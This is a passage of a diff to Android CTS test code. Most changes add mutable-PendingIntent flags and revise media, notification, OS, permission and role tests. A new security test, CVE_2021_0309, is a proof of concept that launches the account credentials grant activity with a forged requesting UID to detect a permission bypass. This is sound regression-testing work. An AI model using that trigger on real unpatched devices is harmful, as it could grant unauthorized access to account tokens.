public void testSetMediaButtonReceiver_implicitIntent() throws Exception {
// Note: No such broadcast receiver exists.
Intent intent = new Intent("android.media.cts.ACTION_MEDIA_TEST");
- PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+ PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
// Play a sound so this session can get the priority.
Utils.assertMediaPlaybackStarted(getContext());
@@ -506,7 +506,7 @@
Intent mediaButtonIntent = new Intent(Intent.ACTION_MEDIA_BUTTON).setComponent(
new ComponentName(getContext(), getContext().getClass()));
- PendingIntent pi = PendingIntent.getBroadcast(getContext(), 0, mediaButtonIntent, 0);
+ PendingIntent pi = PendingIntent.getBroadcast(getContext(), 0, mediaButtonIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
mSession.setMediaButtonReceiver(pi);
// Set state to STATE_PLAYING to get higher priority.
diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/ApplicationMediaCapabilitiesTest.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/ApplicationMediaCapabilitiesTest.java
index dac13f9..3b1d144 100644
--- a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/ApplicationMediaCapabilitiesTest.java
+++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/ApplicationMediaCapabilitiesTest.java
@@ -39,15 +39,10 @@
private static final String TAG = "ApplicationMediaCapabilitiesTest";
public void testSetSupportHevc() throws Exception {
- // Default HEVC support is false.
ApplicationMediaCapabilities capability =
- new ApplicationMediaCapabilities.Builder().build();
- assertFalse(capability.isVideoMimeTypeSupported(MediaFormat.MIMETYPE_VIDEO_HEVC));
-
- ApplicationMediaCapabilities capability2 =
new ApplicationMediaCapabilities.Builder().addSupportedVideoMimeType(
MediaFormat.MIMETYPE_VIDEO_HEVC).build();
- assertTrue(capability2.isVideoMimeTypeSupported(MediaFormat.MIMETYPE_VIDEO_HEVC));
+ assertTrue(capability.isVideoMimeTypeSupported(MediaFormat.MIMETYPE_VIDEO_HEVC));
}
public void testSetSupportHdr() throws Exception {
@@ -261,4 +256,42 @@
parser);
});
}
+
+ // Test NameNotFoundException with codec type.
+ // VP9 is not declare in the XML which leads to NameNotFoundException exception.
+ // <format android:name="HEVC" supported="true"/>
+ // <format android:name="HDR10" supported="false"/>
+ // <format android:name="SlowMotion" supported="false"/>
+ public void testUnsupportedCodecMimetype() throws Exception {
+ assertThrows(ApplicationMediaCapabilities.FormatNotFoundException.class, () -> {
+ InputStream xmlIs = mContext.getAssets().open("MediaCapabilities.xml");
+ final XmlPullParser parser = Xml.newPullParser();
+ parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+
+ ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+ parser);
+
+ boolean supportVP9 = capability.isVideoMimeTypeSupported(
+ MediaFormat.MIMETYPE_VIDEO_VP9);
+ });
+ }
+
+ // Test NameNotFoundException with hdr type.
+ // DOLBY_VISION is not declare in the XML which leads to NameNotFoundException exception.
+ // <format android:name="HEVC" supported="true"/>
+ // <format android:name="HDR10" supported="false"/>
+ // <format android:name="SlowMotion" supported="false"/>
+ public void testUnsupportedHdrtype() throws Exception {
+ assertThrows(ApplicationMediaCapabilities.FormatNotFoundException.class, () -> {
+ InputStream xmlIs = mContext.getAssets().open("MediaCapabilities.xml");
+ final XmlPullParser parser = Xml.newPullParser();
+ parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+
+ ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+ parser);
+
+ boolean supportDolbyVision = capability.isHdrTypeSupported(
+ MediaFeature.HdrType.DOLBY_VISION);
+ });
+ }
}
diff --git a/tests/tests/notificationlegacy/notificationlegacy20/src/android/app/notification/legacy20/cts/LegacyNotificationManager20Test.java b/tests/tests/notificationlegacy/notificationlegacy20/src/android/app/notification/legacy20/cts/LegacyNotificationManager20Test.java
index 803f55e..fca8837 100644
--- a/tests/tests/notificationlegacy/notificationlegacy20/src/android/app/notification/legacy20/cts/LegacyNotificationManager20Test.java
+++ b/tests/tests/notificationlegacy/notificationlegacy20/src/android/app/notification/legacy20/cts/LegacyNotificationManager20Test.java
@@ -128,7 +128,7 @@
| Intent.FLAG_ACTIVITY_CLEAR_TOP);
intent.setAction(Intent.ACTION_MAIN);
- final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+ final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
final Notification notification =
new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
.setSmallIcon(icon)
diff --git a/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java b/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
index f5606de..df0d592 100644
--- a/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
+++ b/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
@@ -314,7 +314,7 @@
| Intent.FLAG_ACTIVITY_CLEAR_TOP);
intent.setAction(Intent.ACTION_MAIN);
- final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+ final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
final Notification notification =
new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
.setSmallIcon(icon)
diff --git a/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java b/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java
index 83d2978..cf8981d 100644
--- a/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java
+++ b/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java
@@ -101,6 +101,6 @@
private PendingIntent getPendingIntent() {
return PendingIntent.getActivity(
- mContext, 0, new Intent(mContext, this.getClass()), 0);
+ mContext, 0, new Intent(mContext, this.getClass()), PendingIntent.FLAG_MUTABLE_UNAUDITED);
}
}
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java
index 4318f7f..ee3b3e6 100644
--- a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java
+++ b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java
@@ -262,7 +262,7 @@
mUi.dropShellPermissionIdentity();
PendingIntent sendIntent = PendingIntent.getActivity(mContext, 0,
- new Intent(Intent.ACTION_SEND), 0);
+ new Intent(Intent.ACTION_SEND), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Notification.Action sendAction = new Notification.Action.Builder(ICON_ID, "SEND",
sendIntent).build();
@@ -530,7 +530,7 @@
| Intent.FLAG_ACTIVITY_CLEAR_TOP);
intent.setAction(Intent.ACTION_MAIN);
- final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+ final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
Notification.Action action = new Notification.Action.Builder(null, "",
pendingIntent).build();
// This method has to exist and the call cannot fail
@@ -675,7 +675,7 @@
| Intent.FLAG_ACTIVITY_CLEAR_TOP);
intent.setAction(Intent.ACTION_MAIN);
- final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+ final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
final Notification notification =
new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
.setSmallIcon(icon)
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java
index 52fe892..c164656 100644
--- a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java
+++ b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java
@@ -129,7 +129,7 @@
private PendingIntent getPendingIntent() {
return PendingIntent.getActivity(
- mContext, 0, new Intent(mContext, this.getClass()), 0);
+ mContext, 0, new Intent(mContext, this.getClass()), PendingIntent.FLAG_MUTABLE_UNAUDITED);
}
diff --git a/tests/tests/os/OWNERS b/tests/tests/os/OWNERS
new file mode 100644
index 0000000..3429892
--- /dev/null
+++ b/tests/tests/os/OWNERS
@@ -0,0 +1,4 @@
+per-file *AutoRevoke* = eugenesusla@google.com
+per-file *Companion* = eugenesusla@google.com
+per-file *AndroidManifest.xml = eugenesusla@google.com
+per-file *CtsOsTestCases.xml = eugenesusla@google.com
diff --git a/tests/tests/os/src/android/os/cts/CrossProcessExceptionService.java b/tests/tests/os/src/android/os/cts/CrossProcessExceptionService.java
index c9ad47f..6d0a68a 100644
--- a/tests/tests/os/src/android/os/cts/CrossProcessExceptionService.java
+++ b/tests/tests/os/src/android/os/cts/CrossProcessExceptionService.java
@@ -70,7 +70,7 @@
case "ARE":
final PendingIntent pi = PendingIntent.getActivity(
CrossProcessExceptionService.this, 12, new Intent(),
- PendingIntent.FLAG_CANCEL_CURRENT);
+ PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
throw new AuthenticationRequiredException(new FileNotFoundException("FNFE"), pi);
case "RE":
throw new RuntimeException("RE");
diff --git a/tests/tests/os/src/android/os/cts/FileObserverLegacyPathTest.java b/tests/tests/os/src/android/os/cts/FileObserverLegacyPathTest.java
index a0a3e85..e83b54a 100644
--- a/tests/tests/os/src/android/os/cts/FileObserverLegacyPathTest.java
+++ b/tests/tests/os/src/android/os/cts/FileObserverLegacyPathTest.java
@@ -56,7 +56,7 @@
* MODIFY events on that file, ensuring that, in the case of a FUSE mounted
* file system, changes applied to the lower file system will be detected
* by a monitored FUSE folder.
- * Instead of checking if the set of generated events if exactly the same
+ * Instead of checking if the set of generated events is exactly the same
* as the set of expected events, the test checks if the set of generated
* events contains CREATE, OPEN and MODIFY. This because there may be other
* services (e.g., file indexing) that may access the newly created file,
@@ -84,15 +84,16 @@
os.write("TEST".getBytes("UTF-8"));
os.close();
- /* Wait for for the inotify events to be catched. A timeout occurs
- * after 2 seconds. */
+ /* Wait for for the inotify events to be caught. A timeout occurs after
+ * 2 seconds. */
mCond.block(2000);
int detectedEvents = fileObserver.getEvents().getOrDefault(imageName, 0);
/* Verify if the received events correspond to the ones that were requested */
- assertEquals("Uncatched some of the events", PathFileObserver.eventsToSet(eventsMask),
- PathFileObserver.eventsToSet(detectedEvents & eventsMask));
+ assertEquals("Expected and received inotify events do not match",
+ PathFileObserver.eventsToSet(eventsMask),
+ PathFileObserver.eventsToSet(detectedEvents & eventsMask));
fileObserver.stopWatching();
}
@@ -127,7 +128,7 @@
path, filteredEvent | mGeneratedEventsMap.getOrDefault(path, 0));
/* Release the condition variable only if at least all the matching
- * events have been catched for every monitored file. */
+ * events have been caught for every monitored file. */
for (String file : mMonitoredEventsMap.keySet()) {
int monitoredEvents = mMonitoredEventsMap.getOrDefault(file, 0);
int generatedEvents = mGeneratedEventsMap.getOrDefault(file, 0);
diff --git a/tests/tests/os/src/android/os/cts/VibrationEffectTest.java b/tests/tests/os/src/android/os/cts/VibrationEffectTest.java
index 66a11d4..d29e8f7 100644
--- a/tests/tests/os/src/android/os/cts/VibrationEffectTest.java
+++ b/tests/tests/os/src/android/os/cts/VibrationEffectTest.java
@@ -19,7 +19,6 @@
import static org.junit.Assert.assertArrayEquals;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.assertNotSame;
import static org.junit.Assert.fail;
import android.os.Parcel;
@@ -380,31 +379,6 @@
}
@Test
- public void testSetStrength() {
- VibrationEffect.Prebaked effect = (VibrationEffect.Prebaked)VibrationEffect.get(
- VibrationEffect.EFFECT_CLICK, true);
- int[] strengths = {
- VibrationEffect.EFFECT_STRENGTH_LIGHT,
- VibrationEffect.EFFECT_STRENGTH_MEDIUM,
- VibrationEffect.EFFECT_STRENGTH_STRONG
- };
- for (int strength : strengths) {
- effect.setEffectStrength(strength);
- assertEquals(strength, effect.getEffectStrength());
- }
- }
-
- @Test
- public void testSetStrengthInvalid() {
- VibrationEffect.Prebaked effect = (VibrationEffect.Prebaked)VibrationEffect.get(
- VibrationEffect.EFFECT_CLICK, true);
- try {
- effect.setEffectStrength(239017);
- fail("Illegal strength, should throw IllegalArgumentException");
- } catch (IllegalArgumentException expected) {}
- }
-
- @Test
public void testStartComposition() {
VibrationEffect.Composition first = VibrationEffect.startComposition();
VibrationEffect.Composition other = VibrationEffect.startComposition();
diff --git a/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java b/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java
index 21a2908..fed6b44 100644
--- a/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java
+++ b/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java
@@ -21,9 +21,8 @@
import android.app.Instrumentation;
import android.net.Uri;
-import android.os.SystemProperties;
import android.os.image.DynamicSystemClient;
-import android.util.FeatureFlagUtils;
+import android.platform.test.annotations.AppModeFull;
import androidx.test.InstrumentationRegistry;
import androidx.test.filters.SmallTest;
@@ -34,6 +33,7 @@
import org.junit.Test;
import org.junit.runner.RunWith;
+@AppModeFull(reason = "Instant apps cannot access DynamicSystemClient")
@SmallTest
@RunWith(AndroidJUnit4.class)
public class DynamicSystemClientTest implements DynamicSystemClient.OnStatusChangedListener {
@@ -50,16 +50,8 @@
mInstrumentation.getUiAutomation().adoptShellPermissionIdentity();
}
- private boolean featureFlagEnabled() {
- return SystemProperties.getBoolean(
- FeatureFlagUtils.PERSIST_PREFIX + FeatureFlagUtils.DYNAMIC_SYSTEM, false);
- }
-
@Test
public void testDynamicSystemClient() {
- if (!featureFlagEnabled()) {
- return;
- }
DynamicSystemClient dSClient = new DynamicSystemClient(mInstrumentation.getTargetContext());
dSClient.setOnStatusChangedListener(this);
try {
@@ -87,6 +79,32 @@
}
}
+ @Test
+ public void testDynamicSystemClient_withoutOnStatusChangedListener() {
+ DynamicSystemClient dSClient = new DynamicSystemClient(mInstrumentation.getTargetContext());
+ try {
+ dSClient.bind();
+ } catch (SecurityException e) {
+ fail();
+ }
+ Uri uri = Uri.parse("https://www.google.com/").buildUpon().build();
+ try {
+ dSClient.start(uri, 1024L << 10);
+ } catch (SecurityException e) {
+ fail();
+ }
+ try {
+ Thread.sleep(3 * 1000);
+ } catch (InterruptedException e) {
+ fail();
+ }
+ try {
+ dSClient.unbind();
+ } catch (SecurityException e) {
+ fail();
+ }
+ }
+
@After
public void tearDown() {
mInstrumentation.getUiAutomation().dropShellPermissionIdentity();
diff --git a/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java b/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
index d63b0d1..5a14040 100644
--- a/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
+++ b/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
@@ -24,7 +24,9 @@
import android.os.Looper;
import android.os.Parcel;
import android.os.ParcelFileDescriptor;
+import android.os.Process;
import android.os.ProxyFileDescriptorCallback;
+import android.os.UserHandle;
import android.os.cts.R;
import android.os.storage.OnObbStateChangeListener;
import android.os.storage.StorageManager;
@@ -334,6 +336,11 @@
}
};
+ // Unmount storage data and obb dirs before test so test process won't be killed.
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+ "sm unmount-app-data-dirs " + mContext.getPackageName() + " "
+ + Process.myPid() + " " + UserHandle.myUserId());
+
// Unmount primary storage, verify we can see it take effect
mStorageManager.registerStorageVolumeCallback(mContext.getMainExecutor(), callback);
InstrumentationRegistry.getInstrumentation().getUiAutomation()
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasePackageInstallTest.java b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasePackageInstallTest.java
index 28ec019..d1d52a1 100644
--- a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasePackageInstallTest.java
+++ b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasePackageInstallTest.java
@@ -196,7 +196,7 @@
mContext,
sessionId,
broadcastIntent,
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
return pendingIntent.getIntentSender();
}
diff --git a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
index ce2fade..8661f2e 100644
--- a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
+++ b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
@@ -31,6 +31,7 @@
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.content.res.Resources;
+import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.SecurityTest;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiDevice;
@@ -164,6 +165,7 @@
@SecurityTest
@Test
+ @AppModeFull
public void permissionGroupShouldNotBeAutoGrantedIfNewMember() throws Throwable {
installApp("CtsAppThatRequestsPermissionAandB");
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 3c496fa..579d03d 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -2672,11 +2672,17 @@
The app can check whether it has this authorization by calling
{@link android.provider.Settings#canDrawOverlays
Settings.canDrawOverlays()}.
- <p>Protection level: signature|appop|installer|pre23|development -->
+ <p>Protection level: signature|appop|preinstalled|pre23|development -->
<permission android:name="android.permission.SYSTEM_ALERT_WINDOW"
android:label="@string/permlab_systemAlertWindow"
android:description="@string/permdesc_systemAlertWindow"
- android:protectionLevel="signature|appop|installer|pre23|development" />
+ android:protectionLevel="signature|appop|preinstalled|pre23|development" />
+
+ <!-- @SystemApi @hide Allows the holder to create privileged application overlays that can not
+ be hidden by other applications
+ <p>Not for use by third-party applications. -->
+ <permission android:name="android.permission.SYSTEM_APPLICATION_OVERLAY"
+ android:protectionLevel="signature|wellbeing"/>
<!-- @deprecated Use {@link android.Manifest.permission#REQUEST_COMPANION_RUN_IN_BACKGROUND}
@hide
@@ -3143,6 +3149,11 @@
<permission android:name="android.permission.CHANGE_OVERLAY_PACKAGES"
android:protectionLevel="signature|privileged" />
+ <!-- Allows an application to set, update and remove the credential management app.
+ @hide -->
+ <permission android:name="android.permission.MANAGE_CREDENTIAL_MANAGEMENT_APP"
+ android:protectionLevel="signature" />
+
<!-- ========================================= -->
<!-- Permissions for special development tools -->
<!-- ========================================= -->
diff --git a/tests/tests/permission2/src/android/permission2/cts/NoReceiveSmsPermissionTest.java b/tests/tests/permission2/src/android/permission2/cts/NoReceiveSmsPermissionTest.java
index 3970da6..7375b1e 100644
--- a/tests/tests/permission2/src/android/permission2/cts/NoReceiveSmsPermissionTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/NoReceiveSmsPermissionTest.java
@@ -111,7 +111,7 @@
getContext().registerReceiver(receiver, filter);
PendingIntent receivedIntent = PendingIntent.getBroadcast(getContext(), 0,
- new Intent(APP_SPECIFIC_SMS_RECEIVED_ACTION), PendingIntent.FLAG_ONE_SHOT);
+ new Intent(APP_SPECIFIC_SMS_RECEIVED_ACTION), PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
String token = SmsManager.getDefault().createAppSpecificSmsToken(receivedIntent);
String message = "test message, token=" + token;
@@ -132,9 +132,9 @@
private void sendSMSToSelf(String message) {
PendingIntent sentIntent = PendingIntent.getBroadcast(getContext(), 0,
- new Intent(MESSAGE_SENT_ACTION), PendingIntent.FLAG_ONE_SHOT);
+ new Intent(MESSAGE_SENT_ACTION), PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
PendingIntent deliveryIntent = PendingIntent.getBroadcast(getContext(), 0,
- new Intent(MESSAGE_STATUS_RECEIVED_ACTION), PendingIntent.FLAG_ONE_SHOT);
+ new Intent(MESSAGE_STATUS_RECEIVED_ACTION), PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
TelephonyManager telephony = (TelephonyManager)
getContext().getSystemService(Context.TELEPHONY_SERVICE);
diff --git a/tests/tests/print/src/android/print/cts/PrintServicesTest.java b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
index 20a4a6f..bc11b82 100644
--- a/tests/tests/print/src/android/print/cts/PrintServicesTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
@@ -120,7 +120,7 @@
PendingIntent infoPendingIntent = PendingIntent.getActivity(getActivity(),
0,
- infoIntent, PendingIntent.FLAG_UPDATE_CURRENT);
+ infoIntent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
sPrinter = new PrinterInfo.Builder(printerId, printerName,
PrinterInfo.STATUS_IDLE)
@@ -591,7 +591,7 @@
infoIntent.putExtra("PRINTER_NAME", "Printer2");
PendingIntent infoPendingIntent = PendingIntent.getActivity(getActivity(), 0,
- infoIntent, PendingIntent.FLAG_UPDATE_CURRENT);
+ infoIntent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
PrinterInfo printer2 = new PrinterInfo.Builder(printer2Id, "Printer2",
PrinterInfo.STATUS_IDLE)
diff --git a/tests/tests/role/src/android/app/role/cts/RoleControllerManagerTest.kt b/tests/tests/role/src/android/app/role/cts/RoleControllerManagerTest.kt
index d3ebfc5..3c09a30 100644
--- a/tests/tests/role/src/android/app/role/cts/RoleControllerManagerTest.kt
+++ b/tests/tests/role/src/android/app/role/cts/RoleControllerManagerTest.kt
@@ -18,7 +18,6 @@
import android.app.Instrumentation
-import android.app.role.RoleControllerManager
import android.app.role.RoleManager
import android.content.Context
import android.content.Intent
@@ -42,15 +41,14 @@
import java.util.function.Consumer
/**
- * Tests [RoleControllerManager].
+ * Tests RoleControllerManager APIs exposed on [RoleManager].
*/
@RunWith(AndroidJUnit4::class)
class RoleControllerManagerTest {
private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
private val context: Context = instrumentation.context
private val packageManager: PackageManager = context.packageManager
- private val roleControllerManager: RoleControllerManager =
- context.getSystemService(RoleControllerManager::class.java)!!
+ private val roleManager: RoleManager = context.getSystemService(RoleManager::class.java)!!
@Before
fun installApp() {
@@ -95,7 +93,7 @@
) {
runWithShellPermissionIdentity {
val future = CompletableFuture<Boolean>()
- roleControllerManager.isApplicationVisibleForRole(
+ roleManager.isApplicationVisibleForRole(
roleName, packageName, context.mainExecutor, Consumer { future.complete(it) }
)
val isVisible = future.get(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)
@@ -121,7 +119,7 @@
private fun isRoleVisible(roleName: String): Boolean =
runWithShellPermissionIdentity(ThrowingSupplier {
val future = CompletableFuture<Boolean>()
- roleControllerManager.isRoleVisible(
+ roleManager.isRoleVisible(
roleName, context.mainExecutor, Consumer { future.complete(it) }
)
future.get(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index b35685e..76fc9cf 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -26,7 +26,6 @@
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
- <uses-permission android:name="android.permission.WRITE_SETTINGS" />
<!-- For FileIntegrityManager -->
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0309.java b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
new file mode 100644
index 0000000..3f39a0e
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import static org.junit.Assert.assertFalse;
+
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.accounts.GrantCredentialsPermissionActivity;
+import android.accounts.IAccountAuthenticatorResponse;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.RemoteException;
+import android.platform.test.annotations.SecurityTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0309 {
+ private final Context mContext = InstrumentationRegistry.getContext();
+ boolean isVulnerable = true;
+
+ /**
+ * b/159145361
+ */
+ @SecurityTest(minPatchLevel = "2021-01")
+ @Test
+ public void testPocCVE_2021_0309() {
+ /**
+ * Output of adb shell pm list packages --user 0 -U com.android.providers.media
+ * package:com.android.providers.media uid:10008
+ */
+ final int REQUESTED_UID = 10008;
+ Intent intent = new Intent();
+ intent.setClassName("android",
+ "android.accounts.GrantCredentialsPermissionActivity");
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(GrantCredentialsPermissionActivity.EXTRAS_ACCOUNT,
+ new Account("abc@xyz.org", "com.my.auth"));
+ intent.putExtra(GrantCredentialsPermissionActivity.EXTRAS_AUTH_TOKEN_TYPE,
+ AccountManager.ACCOUNT_ACCESS_TOKEN_TYPE);
+ intent.putExtra(GrantCredentialsPermissionActivity.EXTRAS_RESPONSE,
+ new AccountAuthenticatorResponse(new IAccountAuthenticatorResponse.Stub() {
+ @Override
+ public void onResult(Bundle value) throws RemoteException {
+ }
+
+ @Override
+ public void onRequestContinued() {
+ }
+
+ @Override
+ public void onError(int errorCode, String errorMessage) throws RemoteException {
+ /**
+ * GrantCredentialsPermissionActivity's onCreate() should not execute and
+ * should return error when the requested UID does not match the process's UID
+ */
+ isVulnerable = false;
+ }
+ }));
+
+ intent.putExtra(GrantCredentialsPermissionActivity.EXTRAS_REQUESTING_UID,
+ REQUESTED_UID);
+ mContext.startActivity(intent);
+ /**
+ * Sleep for 5 seconds to ensure that the AccountAuthenticatorResponse callback gets
+ * triggered if vulnerability is fixed.
+ */
+ try {
+ Thread.sleep(5000);
+ } catch (Exception e) {
+ }
+ assertFalse(isVulnerable);
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/FontScaleSettingsTest.java b/tests/tests/security/src/android/security/cts/FontScaleSettingsTest.java
deleted file mode 100644
index 4dc67c3..0000000
--- a/tests/tests/security/src/android/security/cts/FontScaleSettingsTest.java
+++ /dev/null
@@ -1,82 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.content.ContentResolver;
-import android.content.Context;
-import android.os.SystemClock;
-import android.platform.test.annotations.SecurityTest;
-import android.provider.Settings.System;
-import android.test.AndroidTestCase;
-
-import androidx.test.platform.app.InstrumentationRegistry;
-
-@SecurityTest
-public class FontScaleSettingsTest extends AndroidTestCase {
- private Context mContext;
- private String mPackageName;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mContext = InstrumentationRegistry.getInstrumentation().getContext();
- mPackageName = mContext.getPackageName();
- InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
- "appops set " + mPackageName + " android:write_settings allow");
-
- // Wait a beat to persist the change
- SystemClock.sleep(500);
- }
-
- @Override
- public void tearDown() throws Exception {
- super.tearDown();
- InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
- "appops set " + mPackageName + " android:write_settings default");
- }
-
- /**
- * Verifies that the invalid values for the font scale setting is rejected.
- *
- * Prior to fixing bug 156260178, an invalid value could be assigned to the font scale setting,
- * resulting in a bricked device. With the fix, the assignment will be rejected.
- */
- @SecurityTest(minPatchLevel = "2021-02")
- public void testSetInvalidFontScaleValueRejected() {
